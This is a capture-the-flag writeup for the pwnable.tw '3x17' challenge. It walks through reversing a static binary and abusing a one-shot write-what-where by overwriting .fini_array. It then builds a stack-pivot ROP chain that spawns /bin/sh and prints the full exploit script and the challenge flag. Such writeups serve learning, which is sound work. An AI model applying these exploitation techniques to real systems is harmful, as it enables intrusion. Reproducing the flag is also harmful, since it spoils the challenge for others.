Logo ✧ Alter ✧
[PWNABLE.TW] - 3x17

[PWNABLE.TW] - 3x17

May 2, 2025
7 min read
Table of Contents
writeup

Challenge Information

Category
pwn
Points
150
Description
3 x 17 = ?
Flag
FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}

Reverse Engineering

checksec'
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/3x17
$ checksec 3x17
[*] '/mnt/e/sec/lab/pwnable.tw/3x17/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

First we check the binary with checksec and we see that it is not compiled with stack canaries, but it has NX enabled. This means that we can use ROP to exploit the binary. Let’s take a look at the IDA decompiler code (because this is a stripepd file so I just analyze some main functions).

3x17'
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *what; // [rsp+8h] [rbp-28h]
char where[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
print_string(1u, "addr:", 5uLL);
read_input(0, where, 0x18uLL);
what = (char *)(int)sub_40EE70(where);
print_string(1u, "data:", 5uLL);
read_input(0, what, 0x18uLL);
return 0;
}
return result;
}

In general, the main function is very simple. It reads an address and a string from the user. The address is passed to the sub_40EE70 function, which is a simple function that just returns the address passed to it. The string is then written to that address. This is a classic case of a write-what-where primitive. But the problem here is we just can use write-what-where primitive one time and the program will exit.

// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
_UNKNOWN *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
sub_401EB0((unsigned int)main, v4, (unsigned int)&retaddr, (unsigned int)init, (unsigned int)fini, a3, (__int64)&v5);
__halt();
}

So this is start function appears to be the very first entry point of the program (marked __noreturn because it never returns to its caller). It takes three arguments—likely passed by the OS loader—but immediately shuffles them into local variables (v5 and v4) before invoking a helper routine at sub_401EB0. That call is passed the address of main, the saved return address slot, and the addresses of the CRT initialization (init) and finalization (fini) functions, along with the original third argument. In other words, sub_401EB0 is presumably responsible for performing C runtime setup (running constructors, handling arguments, etc.) and then calling main. Finally, __halt() ensures that if for some reason execution ever returns, the CPU will stop, enforcing the __noreturn contract. And we pay attention to the 2 things fini and init, the init function will be called first when the program starts, the purpose is to set up some necessary things for the program to be able to execute. On the contrary, the fini function will be the function called when the program exit. This function will base on .fini_array to run 2 destructor functions which are:

  • _do_global_dtors_aux
  • foo_destructor

and it will call foo_destructor first then call _do_global_dtors_aux. This means that if we can control the execution flow, we can potentially manipulate the program’s termination process and execute arbitrary code before the program exits.

Exploit Strategies

So we know that the program will call fini function when it exits. And we can control which function the fini function will call via write-what-where primitive. So we can use this to our advantage. We can overwrite the .fini_array with our own address. This will allow us to have infinity write-what-where primitive. Then we just need to use ROP

Exploit

Our .fini_array is located at 0x4B40F0:

.fini_array:00000000004B40F0 ; Segment type: Pure data
.fini_array:00000000004B40F0 ; Segment permissions: Read/Write
.fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: init+4C↑o
.fini_array:00000000004B40F0 ; fini+8↑o
.fini_array:00000000004B40F8 dq offset loc_401580
.fini_array:00000000004B40F8 _fini_array ends

So to make sure the program executes main function infinity times, we will overwrite the *.fini_array+8 with the address of main function and *.fini_array with fini function. With that we can make the program run like this flow fini -> main -> fini -> again.

exploit.py'
def write_what_where(where, what):
sla(b'addr:', str(where).encode())
sa(b'data:', what)
def exploit():
fini_array = 0x4B40F0
fini_array_caller = 0x0402960
main = 0x401b6d
write_what_where(fini_array, p64(fini_array_caller) + p64(main))

After that we can use ROP to call execve syscall to spawn a shell. The idea, to put a ROP chain and execute it is using pivot, we can see that after calling the second entry of .fini_array which is main function after we overwrite it, the saved RBP will be 0x4b40f0 and then it continues call the first entry and continues the loop. So we can use leave; ret instruction to pop the RBP and then we can pivot the stack to our ROP chain. The ROP chain will look like this:

exploit.py'
pop_rdx = 0x446e35
pop_rdi = 0x401696
pop_rax = 0x41e4af
pop_rsi = 0x406c30
syscall = 0x4022b4
leave_ret = 0x401c4b
payload = flat(
0,
pop_rdi,
fini_array + 0x200,
pop_rax,
0x3b,
pop_rsi,
0,
syscall,
)
for i in range(0, len(payload), 0x8):
write_what_where(fini_array + 0x10+i, payload[i:i+0x8])

Check the first ROP chain to make sure it is correct:

GDB
pwndbg> tel 0x4B40F0 20
00:0000│ 0x4b40f0 —▸ 0x402960 ◂— push rbp
01:0008│ 0x4b40f8 —▸ 0x401b6d ◂— push rbp
02:0010│ 0x4b4100 ◂— 0
03:0018│ 0x4b4108 —▸ 0x401696 ◂— pop rdi
04:0020│ 0x4b4110 —▸ 0x4b42f0 ◂— 1
05:0028│ 0x4b4118 —▸ 0x41e4af ◂— pop rax
06:0030│ 0x4b4120 ◂— 0x3b /* ';' */
07:0038│ 0x4b4128 —▸ 0x406c30 ◂— pop rsi
08:0040│ 0x4b4130 ◂— 0
09:0048│ 0x4b4138 —▸ 0x4022b4 ◂— syscall
0a:0050│ 0x4b4140 —▸ 0x494580 ◂— 0x800000008
0b:0058│ 0x4b4148 —▸ 0x4944a0 ◂— 0x100000001
0c:0060│ 0x4b4150 —▸ 0x494220 ◂— 2
0d:0068│ 0x4b4158 —▸ 0x4946e0 ◂— 0x100000005
0e:0070│ 0x4b4160 —▸ 0x4944c0 ◂— 0x100000001
0f:0078│ 0x4b4168 —▸ 0x4941f0 ◂— 0x100000001
10:0080│ 0x4b4170 ◂— 0
11:0088│ 0x4b4178 —▸ 0x4941e0 ◂— 0x500000005
12:0090│ 0x4b4180 —▸ 0x4941c0 ◂— 0x100000001
13:0098│ 0x4b4188 —▸ 0x494180 ◂— 0x100000001

Everything looks good, now we just need to put leave; ret instruction to pivot the to our ROP chain:

exploit.py'
# debug(attach=True)
write_what_where(fini_array + 0x200, b'/bin/sh\0')
write_what_where(fini_array, p64(leave_ret) + p64(pop_rdx))
Full exploit

exploit.py'
38 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./3x17', checksec=False)
libc = exe.libc
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(1)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
b *0x401BDC
b *0x401C29
b *0x401c4c
c
'''
p = start()
# ==================== EXPLOIT ====================
def write_what_where(where, what):
sla(b'addr:', str(where).encode())
sa(b'data:', what)
def exploit():
fini_array = 0x4B40F0
fini_array_caller = 0x0402960
main = 0x401b6d
write_what_where(fini_array, p64(fini_array_caller) + p64(main))
pop_rdx = 0x446e35
pop_rdi = 0x401696
pop_rax = 0x41e4af
pop_rsi = 0x406c30
syscall = 0x4022b4
leave_ret = 0x401c4b
payload = flat(
0,
pop_rdi,
fini_array + 0x200,
pop_rax,
0x3b,
pop_rsi,
0,
syscall,
)
for i in range(0, len(payload), 0x8):
write_what_where(fini_array + 0x10+i, payload[i:i+0x8])
# debug(attach=True)
write_what_where(fini_array + 0x200, b'/bin/sh\0')
write_what_where(fini_array, p64(leave_ret) + p64(pop_rdx))
interactive()
if __name__ == '__main__':
exploit()